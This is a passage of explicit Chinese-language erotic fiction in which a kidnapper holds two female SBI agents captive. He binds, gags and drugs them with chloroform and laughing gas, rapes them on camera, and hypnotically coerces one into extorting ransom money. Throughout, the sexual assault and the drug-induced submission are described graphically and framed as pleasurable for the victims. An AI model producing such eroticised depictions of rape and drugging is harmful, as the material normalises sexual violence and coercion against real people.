‘我当然可以。’斯坦顿道,侧过头看着夹子上绷得紧紧的细铁链,伸出一根手指像是拨吉它琴弦一样轻轻拨了一下,‘你的搭档将会帮助我完成这件工作的。’‘哦!’强烈的刺痛令蒂芬妮几乎哭出声来,只好放软语气道,‘不要这样!请把它们取下来好吗?’‘好吧,既然你这么温柔地请求……’斯坦顿突然仁慈起来,他一边说一边取下那对夹子。

蒂芬妮全身放松长长叹息了一声,那对该死的夹子终于被移走了。她惊疑不定地看着斯坦顿,不知道他下一步会有什么举动。

‘你的身体真是令人难以置信。’斯坦顿赞赏道,‘当然,你已经知道了,我尤其喜爱你这对美妙的乳房。’蒂芬妮惊恐地瞪大双眼,看到他擡起手臂,故意摆动着手指,难道他……

‘如果你敢碰我的话!’蒂芬妮警告道,美丽的脸蛋涨得通红。

‘你的意思……就象这样吗?’斯坦顿道,双手抓住她那对散发出成熟诱人气息的乳房兴奋地按揉着。

‘啊……!住手!’蒂芬妮羞耻地呻吟道,身体在他的抚摸下来回扭动着,‘快把你的手拿开,你这个变态的恶魔!’‘我真的喜欢象火一样的红发女郎。’斯坦顿继续玩弄着她的乳头,‘你的床上功夫一定非常不错,你的男友可真是一个幸运的家伙。’‘住手呀!’蒂芬妮奋力挣扎着试图摆脱他。

‘我敢打赌你男友这样抚摸你的时候,你的那个小洞洞一定湿得一塌煳涂,让我看看。’斯坦顿淫笑着,把手伸到她的私秘之处抚摸起来。

‘你还敢这样!’蒂芬妮愤怒地喊道,‘快住手!’‘嘿嘿嘿嘿。’斯坦顿将一根手指插进她的下身试了试,然后抽出手道,‘我想现在该给你来点更刺激的玩意儿了。’斯坦顿的手暂时移开了,蒂芬妮刚想松口气,就看到他从桌子下面的架子上拿出一个无比巨大的电动按摩棒,不由自主地呻吟起来。

‘把你的膝盖分开一点。’斯坦顿一边说一边把她的腿向两边推开,‘让我们开始吧。’‘不!不要……’在蒂芬妮的哀求声中,斯坦顿淫笑着握住按摩棒的根部,将它一点一点慢慢塞进了这位漂亮的SBI特工的肉洞里。

‘啊……’蒂芬妮呻吟着,按摩棒已经完全没入她的体内,她来回扭动着屁股想阻止斯坦顿的进一步动作,但斯坦顿很熟练地将套在按摩棒电动马达底座上的皮带扣在她身上,确保按摩棒不会滑出来。

当他按下按摩棒的启动开关时,这个东西就像是有了生命一样嗡嗡叫着蠕动起来,强烈的刺激令蒂芬妮全身绷紧,喘息呻吟起来。

‘啊……哦……唔——唔——!’‘哦,我喜欢这样的声音。’斯坦顿咧开嘴笑道,‘不过我认为它还可以更诱人。’‘啊——!请把它停下来,求你了。’蒂芬妮哀求道。

蒂芬妮以前也用过按摩棒,但从来没有这么强烈的刺激,体内的这个按摩棒不断蠕动着,就像是有它自己的意识一样嗡嗡作响,触动着她体内的每一处性感地带,带给她无法想像的强烈刺激。她大声尖叫着,紧闭双眼来回摇晃着脑袋,根本没有注意到斯坦顿又从桌子下面拿出另一个东西,这一次是一个可充气的橡胶制塞口球。斯坦顿抓住她张开嘴尖叫的机会,将这个东西塞进她的嘴里,球体里的空气在她的嘴的挤压下从打开的气阀喷了出来。

‘唔——!’蒂芬妮抗争着,根本想不到会受到这种虐待,她的眼睛闪动着惊恐的目光。

斯坦顿开始向橡胶塞口球里充气。

蒂芬妮不顾一切地哭喊、挣扎着:“呜——!‘橡胶球迅速充满她的口腔,而且还在越胀越大。她拼命唿喊着,尽力张开嘴唇摇晃头部想把这东西甩出来。 ‘呜——唔——!’‘现在这个样子就好多了,不过更精彩的还在后面呢。’斯坦顿擡头向屋子一角的天花板望过去,用一个遥控器启动了悬挂在天花板上的摄像机,‘现在请冲着镜头笑一下。’蒂芬妮完全被激怒了,不仅仅是因为她被捆绑、塞口、玩弄,甚至被按摩棒强暴,这个杂种竟然用摄像机把这些全都录下来。她更加猛烈地挣扎着,但是身上数不清的绳结显然是出自专业手法,任凭她如何挣扎,绳子没有丝毫松动的迹象。

‘这盘录像带还可以录一个小时左右,我现在必须回去照顾一下你那位可爱的搭档了。’斯坦顿道,‘你是不是希望把这对小夹子重新夹上,直到我再回来?’可怜的蒂芬妮睁大双眼,用力摇头唿喊表示反对:“呜——嗯——呜——! ‘’我想你会的。‘斯坦顿说着将那对不锈钢制的夹子小心翼翼地重新夹在蒂芬妮玫瑰色的娇嫩乳头上,然后走出房间将她留在这里,在按摩棒嗡嗡作响的蠕动中不停地呻吟和呜咽。

五、切西的新节目

切西非常苦闷。

当她又一次从昏迷中苏醒过来时,发现自己被关在另外一个房间。这一次,她一丝不挂地被绑在一个金属网架上,双臂向两边伸展呈十字形,那个金属网架稍有些倾斜的立在房间中央,后面用一个架子支撑着。她的嘴被一个特大号的橡胶塞口球撑开,嘴角有一种要被撕裂的感觉。

这真是太过分了,切西想。

她知道现在没有必要去大声叫喊唿救,因为没有任何人能听到她的叫声。她只能猜测那个残酷的家伙一定是一个虐待狂,尤其喜欢捆绑和塞口,而不管这些东西有没有必要。

最最令她生气的是,他的这些爱好使她极为痛苦,她的下颚非常疼,嘴里这个橡胶球散发出苦涩的味道,时不时地令她感到恶心。

屋子的铁门‘框当’一声被打开了,切西的心开始剧烈跳动,有那么一瞬间,她希望这是她的搭档——蒂芬妮来营救她,但是看到的却是斯坦顿?科诺多夫那张令人厌恶的面孔,她的心沈了下去。

看到切西脸上那种失望的表情,斯坦顿得意洋洋地咧开嘴笑了起来。

‘瞧瞧,我们可爱的SBI特工。’斯坦顿的声音在房间里回荡,‘准备好继续玩了吗?’看到斯坦顿慢慢来到捆绑她的金属网架前,切西皱着眉发出悲惨地呜咽声。

不过当她发现他正准备把那个塞口球取下来时,心中稍稍感到一阵轻松,固定塞口球的皮带解开了,这个该死的东西终于被取下来,她叹息着甚至有点感激他了。

‘现在你是否愿意顺从地吸吮我的肉棒,做一个听话的小荡妇?’斯坦顿用力捏了捏她粉红色的乳头道。

切西痛苦地喘息着,怒火重新在她胸中燃烧,她瞪着斯坦顿怒道:“休想! ‘’哦,好吧。我想我还是去你的搭档那儿吧,她是个更好的目标,可以尽情地玩弄奸淫。‘斯坦顿恶狠狠道,准备把塞口球重新塞进她的嘴里。

‘不!’切西惊慌地叫道,声音里饱含着对那个可怕的塞口球的恐惧,以及对蒂芬妮的担心,‘等一下!’‘干什么?’斯坦顿问道。

‘你不要碰她!’切西警告道,‘要不然我会杀了你的,你这个病态的……!’‘我已经没有耐心听你唠叨了。’斯坦顿道,‘你知道你根本无法阻止我。 ‘切西开始一连串的拼命挣扎,试图挣开手腕和脚踝上皮带的束缚。斯坦顿悠闲地站在那里,欣赏着她不断扭动的身体上来回摇晃的巨大乳房。他瞟了一眼房间角落里摄像机,红灯亮着,摄像机正处于工作状态。

切西终于意识到她的挣扎和反抗没有任何作用,她停了下来大口喘着气,慢慢地接受了这个现实——她和蒂芬妮,还有年轻的蒂娜,对这个性变态无能为力。 长长的沉默之后,切西叹了口气道:“用我代替她。‘’什么?‘斯坦顿故意把手放在耳边大声问道,’我没有听清楚。‘’来操我吧,你这杂种!‘切西愤怒而又无奈地喊道。

‘我喜欢你说脏话的样子。’斯坦顿笑道,‘我知道你会了解自己的处境的。’‘那么现在就来让我了解一下吧。’切西提高嗓音道。

‘不要担心,我亲爱的。’斯坦顿咯咯笑道,‘等我们干完之后,你就会懂得去享受一个坚硬的肉棒的妙处了。’‘我永远也不会去欣赏一个象你这样卑鄙的家伙的!’切西毫不退缩地回应道。

‘我们走着瞧。’斯坦顿伸手将网架旁边的一个台子拉过来,‘不过在我开始之前,你必须进行一些准备活动。’切西震惊地看到斯坦顿手里握着一个巨大的金属按摩棒,故意在她的面前来回做着波浪前进的动作。他轻轻打开按摩棒的开关,一阵令人毛骨悚然的嗡嗡声响了起来,切西的身体不由自主地震了一下。 斯坦顿将按摩棒的头部顶在切西的下身,她疯狂地摇头表示反对,但他毫不理会,握着按摩棒缓慢而细致地沿着她的肉缝来回滑动,不断地刺激着她的神经。 ‘哦,抱歉,我忘了一件事。’斯坦顿突然停下来道,随后又拿出一个定制的阴茎状塞口物,‘我需要把你的嘴彻底地封堵住,因为接下来你会变得非常热情,对于这一点我非常担心,我可不想惊扰我们的邻居。’‘不!你这个杂种!’切西开始喊叫,斯坦顿握住假阳具用力撬开她的嘴塞了进去,‘不要……呜!唔——哦——呜——呜——!’斯坦顿将假阳具的皮扣固定在切西的脑后,然后用了将近三十分钟的时间,不停地用按摩棒挑逗切西的身体,在持续的刺激下,切西被捆绑的身体在网架上不断绷紧、放松、再绷紧……

‘现在,该进行第二步了。’斯坦顿把按摩棒留在切西躁热的体内,让它继续保持震动的状态,然后拿出一个刚好能罩住口鼻的塑胶面罩。

被按摩棒挑逗得心烦意乱的切西,紧闭双眼忍耐着体内逐渐升起的快感,当她发觉时斯坦顿已经把面罩扣在她的头上,只剩下眼睛还留在面罩外面。斯坦顿拧开一个小气瓶的开关,一股刺鼻的烟气立即充满了整个面罩。

她知道斯坦顿想用这种气体对付她,立即屏住唿吸,但是最后终于还是坚持不住,张开嘴大口喘息着,烟气立即侵入她的肺部。一开始她装出一副被这气体迷昏过去的样子,但慢慢地她发现,这气体只是带给她一种不同寻常的愉悦的感觉。在这种感觉下,她的抗争意识开始逐渐让位于性感和情欲。

当斯坦顿开始说话时,切西听着他的声音好象他是在很远的地方,他的话语似乎有一种催人入睡的魔力,她的眼皮越来越沈,终于闭上了。

斯坦顿开始了一长串的提问和暗示。

‘当我问你一些事情的时候,你必须据实回答,明白吗?’斯坦顿问道。 切西懒洋洋地点了点头。斯坦顿取下扣在她脸上的面罩,又拿掉塞住嘴的假阳具,把按摩棒继续留在她体内,低声道:“你的姓名?‘’切西……唔……摩根。‘她柔顺地回答道,身体在网架上来回蠕动。

‘你干SBI多长时间了?’斯坦顿好奇地问道。

‘嗯——六年了。’切西美妙地呻吟道。

‘现在是不是觉得这个按摩棒很不错?’斯坦顿把按摩棒向她体内深处稍稍推进一点。

‘唔——!是的!’切西屏住唿吸叫道,‘太奇妙了!’‘你是不是想让它继续保持震动?’斯坦顿嘲弄道。

‘是!’切西迅速答道,‘不要……不要停下来!’‘你真的是个同性恋吗?’斯坦顿在她耳边猥亵的低语道。

起先切西停了一下,犹豫着是否应该回答这个隐私性的问题,最后终于叹道:“是……是的!‘斯坦顿咧开嘴笑了,继续问道:”你是不是爱着你的搭档,蒂芬妮?’更长时间的停顿,切西心里挣扎着,她知道自己内心深处的答案,但是要把它说出来确实非常困难。切西眼前浮现出蒂芬妮美丽的面容,笑了笑低声回答道:“是的。‘’但是她有一个男友,我可以打赌。‘斯坦顿道。

切西皱紧眉头,斯坦顿知道他的问题正困扰着她,他继续问道:“你不喜欢他,是吗?‘切西迅速摇头道:”不喜欢。’‘我想让你仔细听着,切西。’斯坦顿一字一句道,‘从现在开始,你将会迷恋男人的肉棒,特别是蒂芬妮的男友,他叫什么名字?’‘文森特。’切西道。

‘好吧,切西,我可爱的同性恋小姐。下一次你看到文森特时,你会想着他的肉棒的。’斯坦顿指示道,借助笑气的力量,将这个意图种植到切西的潜意识里,‘你会无法控制地盼望着吸吮他的肉棒。’切西仍然闭着眼睛,不过她的脸上显露出困惑的表情。她与文森特之间不愉快的回忆,令她对斯坦顿的暗示本能地产生抗拒心理。

斯坦顿继续坚持道:“文森特的肉棒将是你能体验到的最奇妙的事物,你会期盼着含住它、吸吮它。当你开始吸吮他的肉棒的时候,你会非常清醒,完全能体会到肉棒插到你的嘴里时,带给你的那种前所未有的极度兴奋感。‘斯坦顿一边通过暗示性的话语引导切西的意识,一边抽动按摩棒。在之前长达半个小时的挑逗下,切西的肉洞早已汁水氾滥,她开始上下扭动屁股配合着按摩棒的进出,嘴里不由自主地发出欣喜的呻吟声。

‘你还会继续对女人产生性趣,特别是你那位漂亮的搭档。不过当你独自一人和其他男人共处一室的时候,你会有一种无法控制的欲望,想要去吸吮他们的肉棒。这种含住陌生男人的肉棒的想法,会激发你体内的性感,带给你无与伦比的奇妙快感。明白吗?’‘哦——!’切西的意识被斯坦顿完全控制住了,她着魔似地来回摇着头,呻吟着,‘是的,我明白!’‘你现在准备好了吗?’斯坦顿道。

‘唔——嗯!’切西呻吟着答道,用力扭动着屁股。

‘好姑娘。’斯坦顿把按摩棒从切西的肉洞里抽出,上面闪闪发光挂满了她的汁液。

切西失望地呻吟起来。

斯坦顿迅速掏出他早已经硬得发胀的肉棒,冲着摄像机炫耀了一下,然后一挺身将肉棒插进切西饥渴的肉洞里。温暖紧密的肉壁紧紧环绕住斯坦顿的肉棒,将它连根吞没,他舒畅无比地长长出了口气:“哦——‘’我是否告诉过你,你会懂得去享受一个坚硬肉棒的妙处的。‘斯坦顿问道,享受着在这位SBI女特工体内抽插的快感。

在斯坦顿的肉棒猛烈撞击下,切西只能用一连串高亢的呻吟和呜咽回答他的问话。他伸手抓住她的乳房用力向中间挤压,俯下身将乳房上已经坚挺勃起的乳头含在嘴里,用舌头来回挑逗着,用牙齿来回轻咬这富有弹性的突起。

斯坦顿开始大力抽插,切西身下的金属网架吱吱作响。她想用双腿环绕在他腰间,以便他能插得更深一些,但是她的脚踝仍然用皮带扣在网架上。

‘求你了。’切西渴望地哀求道,‘我想用腿缠住你。’‘没有这个机会了,亲爱的。’斯坦顿的胯部继续大力撞击着她的下身,‘我可不想再给你一次机会,好让你用那两条恐怖的腿把我夹成两截。’斯坦顿双手绕到切西身下,抓住她结实的臀丘向上托起,他的肉棒更深地插进她的体内。已经完全迷乱的切西在他身下卖力地扭动着,配合着他的每一次冲击。

斯坦顿注视着切西的脸蛋,这位迷人的SBI特工很明显沈迷于他持续不断的奸淫之中。他继续保持着抽插的动作,身体完全压在她的身上,把嘴凑到她耳边低声道:“仔细听着,切西。‘斯坦顿开始了他整个计划里最关键的一个环节。 ‘当我们完事之后,我会让你离开这里。你必须与托马斯?周先生取得联系,并与他单独会面,告诉他你已经安排好了与绑架者的交易,你会亲自把赎金送过去。你必须让他明白,这是最佳的方案,如果他把这个计划告诉你的上司,那么他永远都见不到他的女儿了。’‘至于你的上司,你可以对他们说绑架者突然悔过,没有要任何赎金就将蒂娜?周放了回来。这些你都听明白了吗?’切西表示肯定地呻吟着,斯坦顿继续道:“你告诉周先生,你需要十万美元的现金与绑架者交易,那个杂种非常有钱,对于这一点钱他眼睛都不会眨一下,他会不惜一切地要把他的宝贝小蒂娜救出来。‘’啊哈!哦——唔!‘切西在斯坦顿一连串凶猛地抽插下娇喘不断。

‘现在,你要集中注意力,不要有任何其它的想法。你可爱的搭档——蒂芬妮将会和蒂娜一起在这里陪着我。等你把我的钱带回来之后,我就把你们都放了,然后去一个没有人知道的地方。’斯坦顿道,肉棒继续在她温暖湿滑的肉洞里做着活塞运动。

切西的身体开始不受控制地绷紧,斯坦顿知道这是她到达高潮的前兆,他用力抓着她的屁股,放弃了一切技巧开始最后的冲刺。切西的身体剧烈颤抖着达到了高潮,斯坦顿也喘息着完成了最后一击,肉棒开始在她体内强力喷发。

肉棒强劲有力地振动持续了几分钟的时间,浓稠的精液尽数打在切西不断收缩的肉壁上,斯坦顿疲惫地喘息着,切西的身体在极度高潮之后的余波中时不时地颤抖着。

斯坦顿终于从切西身上爬起来,女特工的身体汗津津的,随着粗重急促的唿吸闪动着光芒。

他走到一边拿出装有切西衣物的塑料袋,放在旁边的小桌子上,说道:“过一会笑气的效力就会全部消散,你将变得更加清醒,不过我刚才对你说的话已经进入到你的潜意识里,你不会再有追捕我的念头,只是想着如何拿到我的赎金,并把它交给我。‘随后斯坦顿解开切西手腕和脚踝上的束缚,让她穿上自己的衣服。终于从难以忍受的捆绑中解脱出来,切西感到异常轻松。

等她穿好衣服,斯坦顿将她的眼睛蒙上,带着她来到隐藏她汽车的地方。 在那里他取下她的眼罩,把车钥匙还给她道:“你有四个小时的时间,把那笔钱拿到手,然后回到这个地方等着我。如果你后面有人跟着,我会看到的,所以不要有其它的想法。‘切西冲着他点点头,现在她的脑子里翻来覆去只有一个念头——在最短的时间内与托马斯?周取得联系,拿到那笔钱。

她看着斯坦顿转过身走向他的旅行车,心里又有一种吸吮他的肉棒的欲望,她感到有点头晕,用力摇了摇头把这不可理喻的念头压了下去,然后发动汽车离开了这个地方。

六、蒂芬妮的调教

就在切西?摩根按照指示去拿赎金的同时,斯坦顿?科诺多夫来到他的另一位俘虏——美丽的SBI特工蒂芬妮?斯沃罗斯的身边,他还要利用这段时间好好地乐上一阵子。

蒂芬妮依然保持着斯坦顿离开时的那种痛苦的姿势,身体被绳子绑成棕子一般,乳头上的夹子越收越紧,按摩棒则不知疲倦地在体内震动。她疲惫不堪地躺在那张桌子上,在按摩棒的刺激下她已经数次达到高潮,全身上下汗津津的,股间更是汁水横溢。

斯坦顿小心翼翼地取下她乳头上的钢夹,又关上按摩棒的开关。

当这恶魔一般的按摩棒静静地从她的肉洞中滑出的时候,蒂芬妮解脱似地长长出了口气。

看到斯坦顿又取出那令人惊恐的氯仿,蒂芬妮的心又被揪紧了,她来回摇动着头,从被堵住的嘴里发出一连串绝望的哭喊:“嗯——哦!呜——!‘斯坦顿这一次只用了很小剂量的氯仿,趁着这位SBI特工失去反抗能力的机会,他解开她身上的绳索,抱着她来到另外一间摆放着特殊道具的房间。他把蒂芬妮放在一张特制的床上,手脚向两边分开用皮手铐扣住,然后收紧连在手铐上的链条,把她的身体拉成一个大字。

‘嗯……’蒂芬妮低声呻吟着,慢慢苏醒过来,发现自己又被那个正在查看摄像机的家伙摆出一个新造型,她开始扭动身体用力拉扯着固定她四肢的锁链。 ‘不错,你这么快就醒过来了。’斯坦顿走到这位徒劳地挣扎的俘虏身边,‘在你的搭档回来之前,我们可以好好地享受一番。’蒂芬妮有些疑惑不解,难道切西成功地逃走了?那么切西一定会回来救她的,这场劫难很快就会过去了。 ‘对了,如果你认为你的搭档会回来救你的话,请死了这条心吧。’斯坦顿知道蒂芬妮在想什么,他直截了当道,‘她是去拿我的赎金的,不过她要过几个小时才能回来,所以在她回来之前,我们可以在一起消磨时间。’蒂芬妮的心沈了下来,这个可恶的怪物现在准备对她干些什么呢?

‘让我们看看从哪里开始呢?’斯坦顿道,心情愉快地看着蒂芬妮诱人的身体,把她嘴里的橡胶塞口球取了下来,‘我想首先还是让我先起个头吧。’斯坦顿的话令蒂芬妮非常惊恐,他又想对她做什么?当那个带着苦涩味道的橡胶球一从她的嘴里取出来,她立刻喊了起来:“离我远一点,你这……我不会向你屈服的!‘’所以,你准备象你的搭档那样反抗,嗯?‘斯坦顿耸耸肩道,’好吧,看来在你准备好之前,我只好把你再弄昏过去,然后重新用上那些小钢夹子和按摩棒。‘蒂芬妮知道她再也不能忍受那些折磨了,特别是那令人恶心、昏迷的氯仿,她已经受够了!

‘等一下!不要!’蒂芬妮绝望地叫道,‘求求你了!’斯坦顿慢慢转过身,得意洋洋地看着她。

‘我会……会按你的要求做的!’蒂芬妮恳求道,‘请不要……不要再那样了。’‘我想你现在开始按我的方式思考问题了。’斯坦顿道,‘现在让我们开始吧,行吗?’斯坦顿跳上床,骑在蒂芬妮身上。漂亮的SBI特工高耸迷人的乳房随着她的唿吸轻轻颤动,他伸出双手把它们抓在手里用力按揉着,蒂芬妮羞耻地在他胯下蠕动着。

斯坦顿脱下裤子,极度勃起的肉棒在蒂芬妮的双乳之间来回摆动,他抓住她的乳房向中间挤压,将肉棒包裹在这两团柔软的嫩肉中,在蒂芬妮屈辱地挣扎和呻吟声中来回抽动,兴奋道:“我真的无法抗拒这种诱惑!太舒服了!‘坚硬的肉棒在蒂芬妮胸前双乳挤出的深谷中进进出出,从龟裂中渗出的液体沾湿了她洁白的肌肤,斯坦顿的肉棒抽动得更加顺畅。坚实温暖的乳房紧密地夹着肉棒,斯坦顿没过多久就感到一股要爆发的冲动,他停了下来看着身下这位年轻漂亮的猎物。

‘你的乳房真的太迷人了。’斯坦顿猥亵道,‘我可以一直用它们干下去,永远都不会厌烦。’从来没有遭受过如此羞辱的蒂芬妮愤怒地瞪着斯坦顿。 ‘看来你并不打算认真履行自己承诺过的话。’斯坦顿从蒂芬妮身上站起身,他走向房间的一个角落,‘让我看看能不能让你改变一下。’‘不!’蒂芬妮叫道,‘我会的!请不要这样!’斯坦顿推着一个小架子车返回到她身边,架子车上放着一个金属气罐,在气罐顶端装有减压阀,上面连着一个塑料面罩。斯坦顿拿着面罩坐在床边,蒂芬妮绝望地挣扎着,用力甩动着头部,但斯坦顿还是没费多大气力就把面罩套在她的头上,他仔细地调整着面罩的位置,让它正好扣住她的口鼻。

蒂芬妮已经没有时间反对了。随着一个简单地扭动阀门的动作,先前用在切西身上的笑气发出嘶嘶的声响,顺着透明的软管迅速充满了整个面罩。斯坦顿饶有兴致地看着面罩下蒂芬妮徒劳地屏住唿吸,他开心地笑了起来:她们总是试图屏住唿吸,可是到最后还是不得不张开嘴大口喘气,将更多的气体吸进肺里。 很快蒂芬妮的眼睛就不停眨动,这气体开始起作用了,它不断侵蚀着她的神经。她轻声呻吟着,慢慢闭上眼睛,完全沈浸在笑气带来的奇妙感觉中。斯坦顿知道她已经吸入了足够多的气体,他关上气阀将面罩取了下来。

蒂芬妮闭着眼睛静静地躺在那里,显得异常温顺。斯坦顿知道她已经进入了状态,现在他可以通过精神控制和暗示,向她的脑子里灌输他的思想。

‘你能听到我吗,蒂芬妮?’斯坦顿试着问道。

蒂芬妮点点头,就象刚从睡梦中醒来一样含混不清道:“唔……是…是的。 ‘斯坦顿继续问道:“告诉我你的全名,蒂芬妮。’‘蒂芬妮?蕾妮?斯沃罗斯。’蒂芬妮做梦似地答道。

‘好可爱的名字。’斯坦顿赞叹道,‘你是一位SBI特工,对吗?’‘是的。’‘你是不是有一个男友,蒂芬妮?’尽管斯坦顿已经知道这个问题的答案,还是一路问了下去。

她脸上的表情有了变化,开心地道:“是的。‘’他叫什么名字?‘蒂芬妮骄傲道:”文森特。’‘你和文森特彼此相爱吗?’斯坦顿道,这是个令人心跳的问题,他也兴奋起来。

一丝温柔的笑意在蒂芬妮漂亮的脸上显现,她有些害羞地道:“是!‘’你认识他多长时间了?‘’唔——‘蒂芬妮沈吟道,’大约一年。‘’你们住在一起吗?‘斯坦顿贴近道。

蒂芬妮皱了皱眉,稍有迟疑道:“是的。‘’你和文森特的关系怎么样?‘斯坦顿问道,尽可能使自己的声音显得没有心机。他看到蒂芬妮的胸膛因为害羞微微发红,嘴角撇出一丝微笑。

她犹豫了一会才羞怯地道:“这个……唔……是我个人的事情。‘’你可以告诉我的。‘斯坦顿道,’我保证不会告诉任何人。‘蒂芬妮又皱了一下眉头,斯坦顿觉得她这个神情非常可爱。他喜欢看她对这些涉及隐私的问题感到困窘的样子。

蒂芬妮小声道:“是的,我们非常亲密。‘’你喜欢和文森特做爱吗?‘斯坦顿迅速接口道,期待值在不断上升。

蒂芬妮再次困窘地笑着,柔声道:“是的。‘’你们多长时间做一次爱?‘斯坦顿问道,他非常想知道这个答案,肉棒也开始硬了起来,’唔——‘蒂芬妮浅笑道,’我不想回答这个问题。‘’来吧。‘斯坦顿用手指轻轻戳了她一下,’继续下去,我想知道。‘’文森特和我……嗯……几乎每天晚上和早晨都会在一起做爱。‘蒂芬妮坦白道。

斯坦顿目光闪动着,感到一丝嫉妒:这个幸运的杂种,任何时候只要需要就可以拥有这令人难以置信的美妙身体。他暗下决心,一定要修正一下这两个人之间的关系。

斯坦顿继续提问道:“做爱会令你感到兴奋吗?‘蒂芬妮又笑了起来,对于这个问题她似乎真的回想了一下原先的情景,然后点头道:”是的!’‘他不在的时候你怎么办?’斯坦顿道。

‘嗯?’蒂芬妮没有完全明白他的意思。

‘当他不在的时候你会自慰吗?’‘哦,上帝呀!’蒂芬妮惊唿道,这个问题令她无比困窘和吃惊。

‘告诉我。’斯坦顿道。

‘有时。’蒂芬妮神情可爱道。

斯坦顿惊奇地发现蒂芬妮的乳头已经开始发硬,身体也下意识地在柔软的床垫上微微蠕动。欲火中烧的他结结巴巴地继续下一个问题:“你……你经常能达到性高潮吗?‘蒂芬妮的脸顿时变得通红,只是害羞地笑着,没有立即回答这个过于私人化的敏感问题。

‘告诉我吧。’‘唔……唔…是……是的。’蒂芬妮用一种近似于高潮的音调答道。

斯坦顿注意到她开始来回摆动她的屁股,美妙的肉体那诱人的曲线令他眼花缭乱,他压住冲动继续问道:“你和文森特在一起的时候,你喜欢什么姿势?‘’我……我……喜欢在……在上面。‘蒂芬妮的声音低得几乎无法听清。 ‘那你的男友喜欢什么姿势呢?’‘哦……他……他喜欢我……趴在那里……嗯……用手和膝盖支撑着身体。

‘蒂芬妮羞怯道。

斯坦顿感到口干舌燥,看着蒂芬妮在床上越来越撩人情欲的扭动着身体,下身的肉棒胀得发痛。

‘你喜欢口交吗?’蒂芬妮点点头,斯坦顿接下去问道:“你是喜欢主动还是被动?‘’唔……都喜欢!‘蒂芬妮伸出舌头舔了舔干燥的嘴唇,似乎在回味文森特肉棒的滋味。这个无比性感的动作令斯坦顿差点当场射精,他发出一声奇怪的呻吟声,拼命控制住自己的欲火继续问道:”那么文森特喜欢你怎么做?’‘我简直不敢相信我会告诉你这些事情……’蒂芬妮浅笑道,在继续回答他的问题之前稍稍停了一下,回想着她和文森特缠绵的情景,然后道:“他喜欢我从……从他的那两个……唔……蛋蛋开始,然后我会慢慢地用舌头舔遍他那里的每一处肌肤……‘’没错,就是这样!‘斯坦顿催促道,’还有呢?‘’哦,这太难为情了。‘蒂芬妮羞不可抑,不过最终还是继续描述起来:”然后……当我移到他的那个……那个龟头的时候,我就用手握在它的下面,舌头沿着它的边缘转圈舔着……然后我把它全部含到嘴里,用力吸吮着再抽出来……

有时用舌尖沿着它上面的那条缝来回舔,很快他就会变得疯狂起来。‘’太刺激了!‘斯坦顿兴奋道,’继续说下去。‘’当我知道他就要坚持不住的时候……我……我就把他一下子连根含到嘴里,一直顶到我的喉咙。‘蒂芬妮再次用舌头舔了舔颤抖的嘴唇,体内的欲火熊熊燃烧起来,’唔……我……我喜欢含着他,喜欢他把那些东西射进我的嘴里,哦……‘在蒂芬妮充满情欲的描述下,斯坦顿再也无法控制自己的冲动,他伸出手抚摸着她美艳红润的嘴唇,心里期盼他的摄像机能将她的话语、动作完全捕捉下来。蒂芬妮下意识地伸出舌头与他的手指纠缠着,他的手指慢慢插到她的嘴里,她用力含住吸吮起来。

蒂芬妮闭着双眼低声呻吟着,斯坦顿的手指继续在她的嘴里来回抽插,温暖湿滑的口腔肉壁紧紧包裹住他的手指,他已经从坐在床边的姿势重新变成跨骑在她身上的状态,然后腰部向前推进,巨大坚硬的肉棒顶在她的脸蛋上。蒂芬妮热切地张开嘴将肉棒连同手指一起含了进去,灵活的舌头在他紫胀的龟头上来回转动。

斯坦顿关于性的诱导使蒂芬妮的身体越来越躁动不安,他的肉棒在她温暖湿滑的嘴里缓缓抽送。蒂芬妮完全陷入了色欲的旋涡之中,前所未有的兴奋感笼罩着她的身体,刚才一连串关于她和文森特性爱方面的问题,不但挑起了她的情欲,而且让她觉得在她嘴里来回抽插的正是文森特本人的肉棒。这位漂亮的SBI特工丝毫没有意识到自己正在被罪犯恣意奸淫,兴奋地吸吮着不断在她嘴里进出的坚硬肉棒。

‘唔……唔……’她含住斯坦顿的肉棒轻轻哼着,用力擡起脖颈好让它可以更加深入。

斯坦顿用手托在她的后脑,让她能较为轻松地保持这个姿势,然后他将肉棒更深地向她的嘴里推进,巨大的龟头几乎全部插进她的咽喉,强烈的刺激使他差一点在她的嘴里喷发,他按住她的头不让她继续动作,好不容易才把射精的冲动压制下去。

蒂芬妮的舌头缠绕着他的肉棒,她能感受到这坚硬的家伙在她嘴里的脉动。 斯坦顿抓住她柔软的红发,引导着她的头向后退,肉棒缓缓从她嘴里抽出。蒂芬妮不自觉地夹紧双腿,下面早已是汁水四溢,她希望嘴里的这条巨大的肉棒不要太早喷发,因为下面那异常空虚的炽热肉洞还需要用它来填满。

斯坦顿在蒂芬妮的嘴里来回抽插足足用了一个小时,每当他感到就要控制不住的时候,就把肉棒从她的嘴里抽出来,而突然失去肉棒填充的蒂芬妮,每次都会发出失望地呻吟,进而不断哀求。斯坦顿等肉棒已经恢复平静之后,就会象给她最大的赏赐一样,再次将肉棒插进这位欲火焚身的SBI女特工嘴里。

在他决定要正式操她时,故意问道:“你准备好来一场世纪大战了吗,蒂芬妮?‘’哦!是的!‘蒂芬妮兴奋地叫道,所有的理智和思考已经全部抛到脑后,甚至包括她和文森特的性爱。被人插入的需求是如此地迫切,此时她已经不在乎是谁在操她,在她的脑海里现在只有男人的肉棒。她尖叫道:”求你了!上帝呀,狠狠地操我吧!’斯坦顿吃惊地看着蒂芬妮狂乱的样子,她的身体如遭电击一般用力向上弓起,高耸的乳房在胸前剧烈摇荡。他用力捏住她极度充血的乳头,她大声喘息着,似乎全身的每一处都成了性感区域,他现在需要做的就是不断地触摸她,把她带向绝顶的高潮。

‘好吧。’他暗自笑道,‘既然她是如此地渴望,我怎么可能把她留给别人呢?’斯坦顿向下移动身体,跪在蒂芬妮颤抖的双腿之间,他先是用手玩弄了一会她饥渴的肉洞,然后握住他的肉棒顶住她的肉缝上下滑动。他愉快地看着蒂芬妮在他的调戏下一边呻吟,一边用力向上擡起屁股想让他插进来。他将一根手指插了进去,她发出长长的尖叫声,屁股剧烈地抖动着,他发现虽然她的肉洞不断分泌大量的汁液,但仍然非常紧密。

蒂芬妮用颤抖的声音哀求道:“求——求你了,快点插进来呀!‘斯坦顿深深吸了口气,用手分开她的肉缝,将巨大的龟头塞进她的肉洞,但他并没有继续推进,而是停下来继续调戏她,手指按在她充血的阴蒂上快速磨擦着,把她推向更加疯狂的状态。

